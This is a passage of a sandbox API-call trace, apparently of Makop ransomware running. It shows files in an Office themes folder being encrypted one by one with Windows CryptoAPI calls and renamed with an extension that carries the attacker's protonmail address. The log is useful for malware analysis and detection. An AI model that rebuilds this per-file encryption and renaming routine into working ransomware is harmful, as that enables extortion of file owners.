lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0096.736] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.736] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.736] GetProcessHeap () returned 0x48a0000 [0096.736] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.736] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.736] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.736] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.736] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.736] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.737] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.737] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.737] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.737] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.737] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.737] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xba44, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xba44, lpOverlapped=0x0) returned 1 [0096.740] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xba50, dwBufLen=0xba50 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xba50) returned 1 [0096.740] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.740] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xba50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xba50, lpOverlapped=0x0) returned 1 [0096.741] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.741] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xbb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.741] SetEndOfFile (hFile=0x138) returned 1 [0096.748] GetProcessHeap () returned 0x48a0000 [0096.748] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.748] GetProcessHeap () returned 0x48a0000 [0096.749] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.749] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.756] CloseHandle (hObject=0x138) returned 1 [0096.756] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0096.756] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF") returned 75 [0096.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.757] GetProcessHeap () returned 0x48a0000 [0096.757] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.757] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.757] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.757] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0096.760] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.760] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.761] GetProcessHeap () returned 0x48a0000 [0096.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.761] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.761] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.761] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.761] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.761] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.761] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.762] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.762] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.762] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.762] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.762] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.762] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x262, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x262, lpOverlapped=0x0) returned 1 [0096.762] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x270, dwBufLen=0x270 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x270) returned 1 [0096.762] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.763] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x270, lpOverlapped=0x0) returned 1 [0096.763] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.763] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.763] SetEndOfFile (hFile=0x138) returned 1 [0096.772] GetProcessHeap () returned 0x48a0000 [0096.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.772] GetProcessHeap () returned 0x48a0000 [0096.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.772] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.777] CloseHandle (hObject=0x138) returned 1 [0096.778] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0096.778] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0096.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.778] GetProcessHeap () returned 0x48a0000 [0096.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.778] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.778] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.779] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0096.787] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.787] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.787] GetProcessHeap () returned 0x48a0000 [0096.787] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.787] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.787] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.787] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.788] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.788] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.788] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.788] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.788] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.788] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.788] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.788] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.788] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x553, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x553, lpOverlapped=0x0) returned 1 [0096.789] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x560, dwBufLen=0x560 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x560) returned 1 [0096.789] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.789] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x560, lpOverlapped=0x0) returned 1 [0096.789] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.789] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.789] SetEndOfFile (hFile=0x138) returned 1 [0096.795] GetProcessHeap () returned 0x48a0000 [0096.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.795] GetProcessHeap () returned 0x48a0000 [0096.795] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.795] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.796] CloseHandle (hObject=0x138) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.797] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0096.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.797] GetProcessHeap () returned 0x48a0000 [0096.797] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.798] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.798] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.798] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0096.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.803] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.803] GetProcessHeap () returned 0x48a0000 [0096.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.803] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.803] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.803] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.803] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.803] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.803] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.804] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.804] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.804] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.804] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.804] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f93, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4f93, lpOverlapped=0x0) returned 1 [0096.806] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4fa0, dwBufLen=0x4fa0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4fa0) returned 1 [0096.806] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.806] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4fa0, lpOverlapped=0x0) returned 1 [0096.807] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.807] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.807] SetEndOfFile (hFile=0x138) returned 1 [0096.815] GetProcessHeap () returned 0x48a0000 [0096.815] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.815] GetProcessHeap () returned 0x48a0000 [0096.815] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.815] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0096.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.816] CloseHandle (hObject=0x138) returned 1 [0096.816] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.817] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.817] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0096.817] wsprintfW (in: 